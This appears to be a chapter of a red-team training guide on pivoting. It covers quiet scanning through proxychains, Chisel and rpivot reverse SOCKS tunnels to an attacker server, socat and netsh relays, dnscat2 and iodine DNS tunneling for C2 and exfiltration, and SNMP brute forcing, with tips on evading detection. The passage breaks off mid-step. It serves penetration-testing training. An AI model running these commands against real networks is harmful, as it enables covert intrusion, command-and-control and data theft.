4. Networking
Pillar 4: Networking, Pivoting & Tunneling
BLUF: You'll rarely operate directly against your target. Identifying which services are running โ quietly, through proxychains and pivot hosts โ is the first operational skill. Tunneling C2 traffic over covert protocols and routing through multi-hop chains comes after. Master quiet discovery or get caught.
๐ข OW64 โ P4: Networking Action Items
- Network Enumeration & Discovery ยท 2. Quiet Port Scanning ยท 3. SOCKS Proxy Chaining ยท 4. Port Forwarding & Redirection ยท 5. DNS Tunneling & Exfiltration ยท 6. Network Infrastructure Enumeration ยท โฆ 7. Full Network Pivot Chain
Network Pivot Phases
graph TB
External([External Access]) --> Enum[Network Enumeration]
Enum --> QuietScan[Quiet Scanning]
Enum --> Infra[Infrastructure Enum]
QuietScan --> SOCKS[SOCKS Proxy - Chisel]
SOCKS --> DNS[DNS Tunneling]
SOCKS --> PortFwd[Port Forwarding]
Infra --> Chain([Full Pivot Chain])
DNS --> Chain
PortFwd --> Chain
style External fill:#ff6600
style Chain fill:#00aa00MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Pillar Relevance |
|---|---|---|---|
| T1090 | Proxy | Command and Control | SOCKS proxy via compromised host |
| T1090.001 | Internal Proxy | Command and Control | Chainable internal proxies |
| T1572 | Protocol Tunneling | Command and Control | DNS/HTTP tunneling C2 |
| T1046 | Network Service Scanning | Discovery | Post-pivot network enumeration |
| T1049 | System Network Connections Discovery | Discovery | Active connection enumeration |
| T1016 | System Network Configuration Discovery | Discovery | Route/interface enumeration |
| T1095 | Non-Application Layer Protocol | Command and Control | ICMP/UDP-based tunneling |
| T1571 | Non-Standard Port | Command and Control | Redirect C2 over alternate ports |
| T1040 | Network Sniffing | Discovery | Passive CDP/LLDP/routing protocol capture |
| T1082 | System Information Discovery | Discovery | Switch/router fingerprinting via SNMP and banners |
Action Item 1 โ Network Enumeration Post-Pivot [Beginner]
Enumerate network topology from a compromised host to identify pivot targets and internal services. This phase is critical for mapping the internal landscape without triggering network-level alerts.
What you're building: A mental map of every subnet, live host, and open service reachable from this box โ built entirely from data already on the host before you send a single packet. Every subsequent pivot decision depends on this picture.
| Category | Key Commands | What you're looking for |
|---|---|---|
| Interfaces | ip addr, ip route |
Dual-homed hosts, VPN adapters, additional subnets |
| ARP cache | arp -a, ip neighbor |
Recently-contacted live hosts โ pivot candidates |
| DNS | /etc/resolv.conf, /etc/hosts |
Internal resolver IPs, hardcoded hostnames |
| Connections | ss -tunap, netstat -antup |
Active outbound connections, listening services |
| NFS/RPC | showmount -e, rpcinfo -p |
Exposed shares and RPC endpoints |
| SOCKS scan | proxychains nmap -sT -Pn |
Service discovery through a tunnel |
Technique: Post-Exploitation Network Discovery
Tools: ip, netstat, arp, arp-scan, nmap, proxychains, netdiscover
Think of it like arriving at a new office building. Before running anything:
| Question | Operator Analogy | Networking Commands |
|---|---|---|
| Where am I? | What floor, what network segment? | ip addr, ip route, hostname |
| What's nearby? | Who else is on this floor? | arp -a, ip neighbor, ping sweep |
| What doors are open? | Which rooms can I reach? | nmap -sT, proxychains nmap |
| What's talking outside? | Who calls out of the building? | ss -tunap, netstat -antup |
| How do I go deeper? | Elevator / stairwell to other floors | SOCKS proxy, port forward, VPN tunnel |
| Who controls the plumbing? | Network infrastructure / switches | DTP, CDP/LLDP, VLAN config |
Work through these phases in order. Don't start scanning until you've exhausted passive data collection.
Phase 1 โ Host Context & Passive Data Collection
# 1. Enumerate local interfaces and routing table
ip addr show
ip route
cat /proc/net/fib_trie # detailed routing info (no external tools needed)
cat /etc/resolv.conf # identify internal DNS servers โ pivot targets
cat /etc/hosts # hardcoded internal mappings
# What subnets are routed through this host?
ip route show | awk '/via/ {print $1, "via", $3}' | sort -u
# Is this host dual-homed? (two routes to different subnets = jackpot)
ip addr show | grep "inet " | awk '{print $2, $NF}'
Why: Internal resolvers and routing table reveal every subnet this host can reach โ no scanning required. Dual-homed hosts are automatic pivot candidates.
Phase 2 โ ARP Cache & Live Host Discovery
# 2. Check ARP cache for recently contacted hosts
arp -a
ip neighbor show # includes state: REACHABLE, STALE, FAILED
# Passive discovery with netdiscover (no broadcast)
sudo netdiscover -i eth0 -p
# Active ping sweep using native bash (no nmap, very stealthy)
for i in {1..254}; do
(ping -c 1 -W 1 10.10.10.$i 2>/dev/null | grep -q "bytes from" && echo "UP: 10.10.10.$i") &
done; wait
# Using arp-scan for reliable local segment discovery
sudo arp-scan -I eth0 10.10.10.0/24
Why: ARP cache gives you live hosts with zero noise. Bash ping sweep is slower than nmap but generates no scanner signatures. Use arp-scan only when speed matters more than stealth.
Phase 3 โ Service Discovery (Post-Pivot)
# 3. Port scanning through a SOCKS proxy โ see โ Action Item 2 (Quiet Port Scanning)
# proxychains4.conf setup, -sT/-Pn/-n flags, timing, and masscan two-stage workflow
# 4. Enumerate active connections and listeners
netstat -antup
ss -tulpn
lsof -i -P -n | grep LISTEN
# 5. Identify NFS/RPC shares (often unauthenticated)
rpcinfo -p 10.10.10.5
showmount -e 10.10.10.5
Why: Active connections and listening services (
ss,netstat,lsof) reveal what's running without sending a single packet. NFS/RPC shares are frequently exposed and unauthenticated in internal networks. For full proxychains scanning technique, see Action Item 2.
OPSEC: Avoid mass ICMP sweeps or full-port nmap scans. Check
/proc/net/tcpfor raw connection data ifnetstatis missing. DNS queries to internal resolvers can map the entire domain without a scan.
Action Item 2 โ Quiet Port Scanning โ Techniques & Tradeoffs [Intermediate]
Quiet scanning is post-pivot reconnaissance under constraints: limited bandwidth, monitored segments, and fragile tunnel paths. This item teaches how to tune proxychains, use the only nmap scan mode that survives SOCKS, and combine LotL checks with local masscan for speed.
What you're building: A repeatable, low-noise scan workflow that finds hosts and services across internal subnets without breaking your tunnel model. You leave with a two-stage method: fast local discovery from pivot infrastructure, then controlled service fingerprinting from your operator box.
Technique: SOCKS-Aware Service Discovery and Local-Segment SYN Recon
Tools: proxychains, nmap, masscan, bash, awk, curl, wget, ss, netstat
Phase 1 โ proxychains4.conf Setup
# Edit global config (or per-user config if you cannot write /etc)
sudo nano /etc/proxychains4.conf
# nano ~/.proxychains/proxychains.conf
# Recommended baseline for scan workflows:
strict_chain # exact proxy order; fail closed if any hop dies
# dynamic_chain # uncomment when multi-hop reliability matters more than path determinism
quiet_mode # suppress per-connection noise in terminal/log capture
proxy_dns # DNS through proxychains resolver (still pair nmap with -n)
tcp_connect_time_out 5000 # default 15000; shorter fail-fast for dead paths
tcp_read_time_out 10000 # default 15000; reduce hang time on filtered services
[ProxyList]
socks5 127.0.0.1 1080 # local SOCKS endpoint from chisel/ssh/rpivot/ligolo chain
# socks5 127.0.0.1 1081 # optional second hop for strict_chain or dynamic_chain
# Quick validation before scanning
proxychains -q nc -zv 10.10.10.5 445
# If strict_chain fails repeatedly due to dead hops, switch to dynamic_chain and re-test
Why:
strict_chaingives deterministic routing for troubleshooting and attribution control, but one dead hop kills the scan.dynamic_chainskips failed proxies and keeps collection moving in unstable pivot chains.quiet_modekeeps output readable during long sweeps, and shorter connect/read timeouts prevent scans from stalling on blackholed routes.
Phase 2 โ nmap Scan Types Over SOCKS
# Targeted service check through SOCKS
# -sT is required: TCP connect() via libc, which proxychains can intercept
# -Pn required: ICMP host discovery does not traverse SOCKS
# -n required: prevent local DNS lookups/leaks
proxychains nmap -sT -Pn -n -T1 --max-rate 10 --scan-delay 500ms --max-retries 1 \
-p 22,80,443,445,3389,8080,8443 10.10.10.5
# Subnet sweep with conservative timing
proxychains nmap -sT -Pn -n -T2 --max-rate 10 --scan-delay 500ms --max-retries 1 \
-p 22,80,443,445,3389,5985,8080 10.10.10.0/24
# Scripted follow-up once open ports are identified
proxychains nmap -sT -Pn -n --script smb-os-discovery -p 445 10.10.10.5
proxychains nmap -sT -Pn -n --script http-title -p 80,443,8080,8443 10.10.10.5
# File-driven sweep for known live hosts gathered from prior recon
proxychains nmap -sT -Pn -n -T2 --max-rate 10 --scan-delay 500ms --max-retries 1 \
-p 22,80,443,445,3389 -iL live_hosts.txt
Why: Over SOCKS,
-sTis the only reliable nmap mode because it uses userspaceconnect()calls that proxychains wraps at the libc layer.-sSneeds raw socket SYN crafting (root privilege + packet-level control), which proxychains cannot relay through a SOCKS tunnel.-Pnavoids false-down hosts from blocked ICMP, while-n, low rates, and reduced retries keep scan signatures below common threshold alarms.
Phase 3 โ Living-off-the-Land & masscan Workflows
# LotL option 1: inspect kernel connection tables without nmap
cat /proc/net/tcp
cat /proc/net/tcp6
# Decode local_address hex (example 0100007F:0050 -> 127.0.0.1:80)
awk 'NR>1 {split($2,a,":"); ip=a[1]; port=strtonum("0x" a[2]); \
printf "%d.%d.%d.%d:%d\n", strtonum("0x" substr(ip,7,2)), strtonum("0x" substr(ip,5,2)), \
strtonum("0x" substr(ip,3,2)), strtonum("0x" substr(ip,1,2)), port }' /proc/net/tcp
# LotL option 2: bash /dev/tcp probe (bash only; not POSIX sh)
(echo >/dev/tcp/10.10.10.5/445) 2>/dev/null && echo "445 open"
# LotL option 3: HTTP probe with short timeout
curl -sk --max-time 2 http://10.10.10.5:8080/ -o /dev/null -w "%{http_code}\n"
wget -q --timeout=2 --spider http://10.10.10.5:8080/ && echo "HTTP reachable"
# Stage 1 (on pivot host): fast raw-socket discovery with masscan
# masscan cannot run through SOCKS; execute locally on the pivot segment
masscan -p1-65535 10.10.10.0/24 --rate=1000 -oG /tmp/masscan.grep
# Parse discovered hosts/ports from masscan output for follow-up
awk '/Ports:/{print $2, $4}' /tmp/masscan.grep
# Build unique host and port lists quickly
awk '/Ports:/{print $2}' /tmp/masscan.grep | sort -u > /tmp/live_hosts.txt
awk -F'Ports: ' '/Ports:/{print $2}' /tmp/masscan.grep | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//' > /tmp/live_ports.csv
# Stage 2 (from attacker through SOCKS): controlled fingerprinting
proxychains nmap -sT -Pn -n -sV -p 22,80,135,139,445,3389,5985,8080 10.10.10.5,10.10.10.19
# or: proxychains nmap -sT -Pn -n -sV -p "$(cat /tmp/live_ports.csv)" -iL /tmp/live_hosts.txt
Why: LotL checks (
/proc/net/tcp,/dev/tcp,curl) give quick validation when dropping tools is risky or impossible.masscanis unmatched for speed but depends on raw socket SYN packets, so it must run on a host inside the target segment. The tradeoff is deliberate: use local high-speed discovery where packet crafting is possible, then use proxiednmap -sTfor accurate service details and scripts with tighter OPSEC control.
Why: This workflow separates discovery speed from exposure risk. You keep noisy packet generation close to the target network where it is operationally necessary, and keep analyst-driven enumeration over SOCKS slow, explicit, and attributable to planned objectives.
OPSEC:
- IDS commonly trips on connection-rate thresholds; enforce
--max-rateand--scan-delayduring proxied nmap runs.masscanon a pivot can resemble SYN-flood behavior if--rateis too high; throttle to segment baseline and start narrow.- proxychains DNS leakage remains a risk when tools resolve names locally; always run nmap with
-nand scan IPs directly.- Treat lure ports as tripwires: 445/3389 on non-Windows hosts, or 22 on known honeypot subnets, where one touch can alert.
- Avoid
-sUthrough SOCKS; most SOCKS5 paths do not relay UDP reliably, causing silent failures or abnormal traffic artifacts.- Minimize banner grabbing on monitored legacy ports (Telnet/23, SNMP/161, old admin consoles) unless collection objective is explicit.
Phase 4 โ Unknown Port / Protocol Identification Decision Tree
You've found an open port but don't know what's listening. Work through this checklist to identify the protocol and service before escalating to exploitation.
| Port / Hint | Protocol Guess | First Probe |
|---|---|---|
| 21 | FTP | nc -w 3 target 21 โ look for 220 FTP banner |
| 22 | SSH | nc -w 3 target 22 โ look for SSH-2.0- banner |
| 23 | Telnet | nc -w 3 target 23 โ look for login prompt |
| 25 / 587 / 465 | SMTP | nc -w 3 target 25; EHLO test โ look for 220 SMTP |
| 53 | DNS | dig @target version.bind chaos txt or nmap -sU -p 53 --script dns-service-discovery target |
| 80 / 8080 / 8000 / 8888 | HTTP | curl -sk http://target:PORT/ โ check title, headers |
| 110 / 995 | POP3 | nc -w 3 target 110 โ look for +OK POP3 ready |
| 143 / 993 | IMAP | nc -w 3 target 143 โ look for * OK IMAP |
| 443 / 8443 | HTTPS/TLS | openssl s_client -connect target:443 โ cert CN reveals app |
| 445 / 139 | SMB | smbclient -L //target -N or crackmapexec smb target |
| 3306 | MySQL | mysql -h target -u root --connect-timeout 3 โ look for auth request |
| 5432 | PostgreSQL | psql -h target -U postgres --connect-timeout 3 |
| 6379 | Redis | redis-cli -h target ping โ look for +PONG |
| 27017 | MongoDB | mongosh --host target --eval "db.adminCommand({listDatabases:1})" |
| 1433 | MSSQL | nmap -p 1433 --script ms-sql-info target |
| 3389 | RDP | xfreerdp /v:target /cert-ignore โ NLA or no auth? |
| 5985 / 5986 | WinRM | evil-winrm -i target -u '' -p '' โ look for auth error vs reset |
| 389 / 636 | LDAP | ldapsearch -x -H ldap://target -s base namingcontexts |
| 2049 | NFS | showmount -e target |
| 161 / 162 | SNMP | snmpwalk -c public -v1 target |
| Unknown | Any | Banner grab + nmap NSE + protocol-specific follow-up below |
Procedure โ Unknown Port, No Hint:
TARGET=10.10.10.5
PORT=9999 # unknown port
# Step 1: Raw banner grab (what does it say when you connect?)
nc -w 3 $TARGET $PORT
echo "" | nc -w 3 $TARGET $PORT 2>/dev/null # send empty line to trigger response
printf "HEAD / HTTP/1.0\r\n\r\n" | nc -w 3 $TARGET $PORT # try HTTP verb
# Step 2: TLS check (does it expect a TLS handshake?)
openssl s_client -connect $TARGET:$PORT < /dev/null 2>/dev/null | grep -E "subject|issuer|CN="
# Step 3: HTTP probe (try common HTTP paths)
curl -sk http://$TARGET:$PORT/ -o /dev/null -w "HTTP: %{http_code}\n"
curl -sk https://$TARGET:$PORT/ -o /dev/null -w "HTTPS: %{http_code}\n"
# Step 4: nmap service version detection (most reliable)
# Run through proxychains if needed
proxychains nmap -sT -Pn -n -sV --version-intensity 5 -p $PORT $TARGET
# Add NSE scripts if version fingerprint suggests a protocol:
proxychains nmap -sT -Pn -n --script banner -p $PORT $TARGET
# Step 5: Protocol-specific probes by banner content
# If banner contains "SSH": ssh -v target -p PORT 2>&1 | head -5
# If banner contains "FTP": ftp target PORT
# If banner contains "HTTP" or 200 response: use curl/ffuf/nuclei
# If banner contains "MySQL": mysql -h target -P PORT -u root --connect-timeout 3
# If banner is binary/garbled: nmap --script banner -p PORT target (let NSE decode it)
# If no banner at all: nmap -sT -Pn --script "*" -p PORT target (broad NSE)
# Step 6: UDP check (if TCP gave nothing useful)
# Must be run locally on pivot host (not through SOCKS โ UDP doesn't traverse SOCKS reliably)
nmap -sU -Pn -p $PORT $TARGET # UDP version scan
nc -u -w 3 $TARGET $PORT # raw UDP probe
# Step 7: Correlate with running processes (if on the same host)
# Linux: ss -tunap | grep :PORT
# Windows: netstat -ano | findstr :PORT
# Then follow the process identification workflow โ see 1_Linux.md AI1 Phase 7.5 or 2_Windows_AD.md AI1 Phase 7.5
Protocol-Specific Quick Enum after Identification:
# FTP โ anonymous login?
ftp -n $TARGET <<EOF
user anonymous anonymous@test.com
ls
EOF
curl -s --user anonymous:anonymous "ftp://$TARGET/" 2>/dev/null
# SSH โ version reveals exploit candidates
ssh -v -p $PORT $TARGET 2>&1 | grep "SSH-"
# Then: searchsploit OpenSSH <version> or check for CVE-2023-38408 (agent forwarding)
# SMB โ what's available without credentials?
smbclient -L //$TARGET -N
crackmapexec smb $TARGET --shares
nmap -p 445 --script smb-os-discovery,smb-security-mode,smb-enum-shares $TARGET
# HTTP(S) โ hand off to 3_Web.md AI1 Phase 0 workflow
# Start with: curl -sI http://$TARGET:$PORT/ then follow web first-contact checklist
# LDAP โ is it AD? Any anonymous bind?
ldapsearch -x -H ldap://$TARGET -s base namingcontexts # enumerate base DNs
ldapsearch -x -H ldap://$TARGET -b "DC=domain,DC=local" -s sub "(objectClass=user)" sAMAccountName 2>/dev/null | head -30
# Redis โ unauthenticated? Read config, check for RCE vectors
redis-cli -h $TARGET ping
redis-cli -h $TARGET info server
redis-cli -h $TARGET config get dir
redis-cli -h $TARGET config get dbfilename
# MongoDB โ unauthenticated? List databases
mongosh --host $TARGET --eval "db.adminCommand({listDatabases:1})" --quiet
# SNMP โ community string brute (public/private/manager are most common)
for comm in public private manager internal; do
snmpwalk -c $comm -v1 $TARGET 2>/dev/null | head -5 && echo "VALID: $comm"
done
Why: Unknown ports are often the richest targets in an internal network โ they're non-standard precisely because the service was configured ad-hoc, which correlates strongly with weak auth and default credentials. A raw
ncbanner grab takes 3 seconds and gives you enough to identify the protocol 70% of the time.nmap -sVcovers the rest. The protocol-specific quick enum steps above are the minimum "what do you ask it?" workflow for each service type โ they prioritize unauthenticated access checks before anything else because those are zero-effort critical findings.
OPSEC:
ncbanner grabs leave a connection record in the target service's logs. TLS negotiation (openssl s_client) is logged by most HTTPS applications. For very sensitive targets, limit Step 1 to a singlencwith a 2-second timeout before escalating tonmap -sV. Steps 1โ3 together generate 4โ6 connection attempts; this is acceptable even in monitored environments. Avoidnmap --script "*"(Step 5 fallback) โ it runs every NSE script against the port and generates substantial noise. Use it only as a last resort on non-critical infrastructure.
Action Item 3 โ SOCKS Proxy with Chisel & rpivot [Intermediate]
Deploy modern pivot tools that work without SSH access. Chisel provides robust SOCKS5 tunneling over HTTP, while rpivot handles environments where the pivot host sits behind a corporate HTTP proxy requiring NTLM authentication.
What you're building: A persistent SOCKS proxy that makes the internal network feel local โ Chisel for standard HTTP-tunneled pivots and rpivot when corporate proxy authentication stands in the way.
Technique: SOCKS5 Tunneling & HTTP CONNECT Proxying
Tools: Chisel, rpivot, proxychains
# --- Chisel Setup ---
# Attacker Side (Server) with authentication
./chisel server -p 8000 --reverse --auth "user:pass"
# Pivot Host (Client) โ connect back to attacker
# Note: Chisel SOCKS proxy is TCP only; do not use R:socks/udp
./chisel client --auth "user:pass" 10.10.10.1:8000 R:socks
# Chisel with explicit SOCKS port
./chisel client --auth "user:pass" 10.10.10.1:8000 R:1080:socks
# Use a fingerprint to prevent unauthorized connections
./chisel server -p 8000 --reverse --fingerprint <SHA256>
# --- rpivot (HTTP CONNECT tunneling with NTLM proxy support) ---
# Use when the pivot host is behind a corporate HTTP proxy requiring NTLM auth
# (Chisel doesn't handle NTLM proxy authentication)
# Attacker side (server):
python2 server.py --server-port 9999 --server-ip 0.0.0.0 \
--proxy-ip 127.0.0.1 --proxy-port 1080
# Pivot host (client):
python2 client.py --server-ip attacker_ip --server-port 9999
# With corporate NTLM proxy auth:
python2 client.py --server-ip attacker_ip --server-port 9999 \
--ntlm-proxy-ip proxy_ip --ntlm-proxy-port 8080 \
--domain CORP --username user --password 'Password1'
Why: Chisel traffic looks like standard HTTP/HTTPS โ effective against basic deep packet inspection. rpivot is the go-to when the pivot host is behind a corporate HTTP proxy requiring NTLM auth โ Chisel doesn't handle NTLM proxy authentication.
OPSEC: Use
--fingerprintin Chisel to prevent unauthorized connections to your server. Pick a port and User-Agent that blends with existing HTTP traffic on the network. rpivot runs on Python 2 โ ensure it's available on the pivot host or stage it.
Action Item 4 โ Port Forwarding Deep Dive [Intermediate]
Chain port forwards through multiple compromised hosts to reach deep network segments. This is essential when SOCKS proxies are not feasible or when specific services need to be exposed directly.
What you're building: Point-to-point relay chains that make a port on a deep-internal host appear on your local machine โ no proxychains required, just direct TCP connections.
Technique: TCP Relay & Multi-Hop Forwarding
Tools: socat, netcat, rinetd, plink.exe, netsh
# Socat TCP Relay: Forward local port 3306 to internal DB
socat TCP-LISTEN:3306,fork,reuseaddr TCP:10.10.10.5:3306
# Socat SSL Relay (Encrypted) โ wrap the relay in TLS to evade DPI
socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0,fork TCP:10.10.10.5:80
# Netcat Relay (using named pipes โ works when socat unavailable)
mknod backpipe p
nc -l -p 8080 0<backpipe | nc 10.10.10.5 80 1>backpipe
# Windows: netsh portproxy (Native โ no binary drops needed)
# Add a rule: forward local port 4444 to internal host 445
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=445 connectaddress=192.168.1.10
# View all active portproxy rules
netsh interface portproxy show all
# Delete a specific rule
netsh interface portproxy delete v4tov4 listenport=4444 listenaddress=0.0.0.0
# Reset (remove ALL portproxy rules at once)
netsh interface portproxy reset
# Note: netsh portproxy requires IPv6 to be enabled on some Windows versions
# and persists in the registry across reboots โ always clean up after engagement
# Windows: plink.exe (SSH client for Windows)
plink.exe -R 4444:127.0.0.1:4444 user@attacker-ip
# rinetd Configuration (/etc/rinetd.conf) โ persistent relay daemon
# bindaddress bindport connectaddress connectport
0.0.0.0 8080 10.10.10.5 80
# service rinetd restart
# Multi-hop socat chain (three nodes: attacker โ pivot1 โ pivot2 โ target)
# On pivot1:
socat TCP-LISTEN:9001,fork TCP:pivot2_ip:9001
# On pivot2:
socat TCP-LISTEN:9001,fork TCP:target_ip:target_port
# On attacker: connect to pivot1:9001
Why: netsh portproxy is a native Windows LOLBin โ no binary drops, no AV triggers, survives reboots. socat gives you SSL wrapping to blend relay traffic with legitimate HTTPS. Named pipe relays work when neither tool is available.
OPSEC: socat relays leave persistent listeners โ always track PIDs and clean up.
netsh portproxywrites to the registry and survives reboots; verify rules are removed during cleanup. Avoid netcat relays on long-duration engagements as nc processes are easy to spot.
Action Item 5 โ DNS Tunneling [Intermediate]
Exfiltrate data and tunnel C2 communications over DNS for environments with strict egress filtering. This technique abuses the fact that DNS is often allowed even when all other protocols are blocked.
What you're building: A functional IP-over-DNS tunnel or C2 channel that operates entirely over UDP port 53 โ the last port standing in locked-down environments.
Technique: DNS Protocol Tunneling
Tools: iodine, dnscat2
# --- iodine (IP over DNS) ---
# Requires: authoritative DNS control over a subdomain (e.g., tunnel.yourdomain.com)
# Server Side (on a VPS with authoritative DNS for tunnel.com)
# Set NS record: tunnel.yourdomain.com โ your_vps_ip
sudo iodined -f -c -P SecretPass 10.0.0.1 tunnel.yourdomain.com
# Client Side (on compromised host)
sudo iodine -f -P SecretPass tunnel.yourdomain.com -m 1100
# Creates a 'dns0' interface with IP 10.0.0.2
# You can now SSH over it:
ssh user@10.0.0.1 -D 1080 # SSH SOCKS proxy over the DNS tunnel
# Adjust MTU to avoid fragmentation (fragmentation is a detection trigger)
sudo iodine -f -P SecretPass tunnel.yourdomain.com -m 900
# --- dnscat2 (C2 over DNS) ---
# Does not require full IP-over-DNS; works as a command shell over DNS queries
# Server Side
ruby ./dnscat2.rb tunnel.yourdomain.com
# Client Side
./dnscat --dns domain=tunnel.yourdomain.com
# Interacting with dnscat2 sessions:
# sessions - List active sessions
# window -i 1 - Interact with session 1
# shell - Create a new shell session
# exec /bin/sh - Execute a command in session
# upload /tmp/file - Upload file to target
# download file.txt - Download file from target
# Encryption (shared secret prevents interception)
ruby ./dnscat2.rb tunnel.yourdomain.com --secret=mysecret
./dnscat --dns domain=tunnel.yourdomain.com --secret=mysecret
Why: DNS is the protocol of last resort โ allowed outbound in nearly every network, including hotel WiFi and strict corporate firewalls. iodine gives you a real IP tunnel; dnscat2 gives you a shell when you only need command execution.
OPSEC: DNS tunneling is noisy in logs. High volumes of TXT or NULL queries to a single domain are flagged by modern SIEMs and DNS analytics. Use it only as a last resort or for low-frequency beaconing. Adjust MTU (
-m) in iodine to avoid fragmentation which itself is a detection signal. Use long sleep intervals in dnscat2.
Action Item 6 โ Network Infrastructure Enumeration [Intermediate]
Fingerprint and enumerate network infrastructure devices โ switches, routers, firewalls โ to identify management interfaces, SNMP-exposed configurations, and routing protocols that reveal the full network topology. These devices are high-value pivot targets that defenders often overlook.
What you're building: A detailed map of the network's backbone โ every switch model, router IP, VLAN assignment, routing adjacency, and management interface โ gathered through passive sniffing and targeted enumeration before touching any host endpoint.
| Category | Key Commands | What you're looking for |
|---|---|---|
| CDP/LLDP Sniffing | tcpdump 'ether[20:2] == 0x2000', tcpdump 'ether proto 0x88CC' |
Switch hostnames, models, native VLAN, management IPs |
| SNMP Enumeration | snmpwalk, onesixtyone, snmp-check |
Community strings, ARP tables, interface configs, VLAN assignments |
| Routing Protocols | tcpdump proto ospf, tcpdump 'ip proto 88' |
OSPF neighbor tables, area IDs, advertised routes, EIGRP AS numbers |
| Banner Grabbing | nmap --script banner, nc -nv <ip> 23 |
Telnet/SSH/HTTP banners on mgmt interfaces โ firmware versions, device types |
Technique: Network Infrastructure Discovery & Fingerprinting
Tools: tcpdump, snmpwalk, onesixtyone, snmp-check, nmap, Wireshark
Work through these phases in order. Start passive, then move to targeted active enumeration only after you've mapped what you can silently.
Phase 1 โ Passive Infrastructure Discovery (CDP/LLDP)
# 1. Sniff for Cisco Discovery Protocol (CDP) announcements
# CDP broadcasts every 60s by default โ just listen
tcpdump -nn -v -i eth0 'ether[20:2] == 0x2000' -c 5
# Look for: Device-ID (hostname), Platform (model), Native VLAN, Management Address
# 2. Sniff for LLDP (Link Layer Discovery Protocol) โ vendor-neutral
tcpdump -nn -v -i eth0 'ether proto 0x88CC' -c 5
# Look for: System Name, System Description, Port ID, Management Address, VLAN Name
# 3. Capture CDP/LLDP for offline analysis
tshark -i eth0 -f 'ether[20:2] == 0x2000 or ether proto 0x88CC' -w /tmp/cdp_lldp.pcap -a duration:120
# Analyze: wireshark /tmp/cdp_lldp.pcap โ filter: cdp || lldp
Why: CDP and LLDP are broadcast protocols โ switches announce themselves without any prompting. A single captured CDP frame reveals the switch hostname, model, IOS version, native VLAN, and management IP. This is zero-noise, purely passive reconnaissance.
Phase 2 โ SNMP Community String Enumeration
# 1. Brute-force SNMP community strings against discovered infrastructure IPs
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.0/24
# 2. Full SNMP walk with a valid community string
snmpwalk -v2c -c public 10.10.10.1
# Common high-value OIDs:
snmpwalk -v2c -c public 10.10.10.1 1.3.6.1.2.1.1.1.0 # sysDescr โ device type + firmware
snmpwalk -v2c -c public 10.10.10.1 1.3.6.1.2.1.4.20.1.1 # ipAdEntAddr โ all interface IPs
snmpwalk -v2c -c public 10.10.10.1 1.3.6.1.2.1.4.21.1 # ipRouteTable โ full routing table
snmpwalk -v2c -c public 10.10.10.1 1.3.6.1.2.1.17.7.1.4.3 # dot1qVlanStaticTable โ VLAN config
# 3. Automated SNMP enumeration with snmp-check
snmp-check -c public 10.10.10.1
# Outputs: system info, interfaces, routing table, TCP/UDP listeners, processes, shares
# 4. Enumerate ARP table via SNMP (discover hosts without scanning)
snmpwalk -v2c -c public 10.10.10.1 1.3.6.1.2.1.4.22.1.2 # ipNetToMediaPhysAddress
# Each entry = a host the switch/router has communicated with recently
Why: SNMP v1/v2c community strings are often left at defaults ("public", "private") on infrastructure devices. A single successful SNMP walk of a core switch reveals every VLAN, every routed subnet, and every host in the ARP table โ the complete network topology in one query.
Phase 3 โ Routing Protocol Discovery & Banner Grabbing
# 1. Passive OSPF neighbor discovery
tcpdump -nn -i eth0 proto ospf -c 10
# OSPF Hello packets reveal: Router IDs, Area IDs, neighbor relationships
# Capture for offline analysis: tcpdump -nn -i eth0 proto ospf -w /tmp/ospf.pcap
# 2. Passive EIGRP discovery (Cisco environments)
tcpdump -nn -i eth0 'ip proto 88' -c 10
# EIGRP Hello packets reveal: AS number, K-values, router addresses
# 3. BGP session detection (look for TCP port 179)
nmap -sT -Pn -p 179 10.10.10.0/24 --open
# Open BGP ports indicate core routing infrastructure โ high-value targets
# 4. Banner grabbing on infrastructure management interfaces
# Telnet banners (common on older network gear)
echo "" | nc -nv -w 3 10.10.10.1 23 2>&1
# SSH banners (reveals device type and firmware version)
ssh -o BatchMode=yes -o ConnectTimeout=3 admin@10.10.10.1 2>&1 | head -1
# HTTP management interfaces (web consoles)
curl -sk https://10.10.10.1/ -o /dev/null -w "%{http_code}" -D -
# SNMP sysDescr (fastest fingerprinting method)
snmpget -v2c -c public 10.10.10.1 1.3.6.1.2.1.1.1.0
Why: Routing protocols operate at the infrastructure layer and are rarely monitored by host-based EDRs. OSPF and EIGRP use multicast โ passive listening captures them without generating any traffic. Banner grabbing management interfaces identifies exact firmware versions, mapping directly to known CVEs for infrastructure exploitation.
OPSEC: CDP/LLDP sniffing and routing protocol capture are purely passive โ zero network noise. SNMP community string brute-forcing generates UDP traffic and may trigger IDS rules โ use targeted queries rather than full walks when stealth matters. Banner grabbing via Telnet/SSH is logged on managed devices โ check if the target uses AAA (TACACS+/RADIUS) before connecting to management ports.
Action Item 7 โ Full Network Pivot Chain [Operator]
Execute a complete multi-hop pivot campaign from external foothold to deep internal target. This requires coordinating multiple tunnel types and maintaining connectivity across the chain.
What you're building: A stable, multi-hop pivot infrastructure that survives tunnel drops and lets you operate seamlessly from your workstation against targets three hops deep in a segmented network.
Technique: Multi-Hop Pivot Infrastructure
Tools: Chisel, SSH, socat, proxychains
# Scenario: Attacker โ DMZ Linux Host โ Internal Windows Host โ Deep Internal Linux
# Step 1: Establish SOCKS to DMZ (SSH โ most reliable)
ssh -D 1080 user@dmz-host -N -f -o ServerAliveInterval=60
# Step 2: Use Chisel to pivot from DMZ โ Internal Windows
# On DMZ (via SSH shell or existing access):
./chisel server -p 8001 --reverse --auth "ops:s3cr3t"
# On Internal Windows (run via initial foothold):
chisel.exe client --auth "ops:s3cr3t" dmz-host:8001 R:1081:socks
# Update /etc/proxychains4.conf:
# socks5 127.0.0.1 1080 โ DMZ hop
# socks5 127.0.0.1 1081 โ Internal hop (through DMZ's chisel)
# Step 3: Deploy second Chisel hop for Deep Internal routing
# On Internal Windows (start a reverse Chisel server):
chisel.exe server --port 8002 --reverse --auth "ops:s3cr3t"
# On Attacker (connect through existing proxychains hops):
proxychains ./chisel client --auth "ops:s3cr3t" internal-host:8002 R:1082:socks
# Or use SSH if available on the Deep Internal host:
proxychains ssh -D 1082 user@deep-internal -N -f -o ServerAliveInterval=60
# Update /etc/proxychains4.conf with the third hop:
# socks5 127.0.0.1 1082 โ Deep Internal hop (through Internal Windows's chisel)
# Step 4: Verify Chain and Maintain Persistence
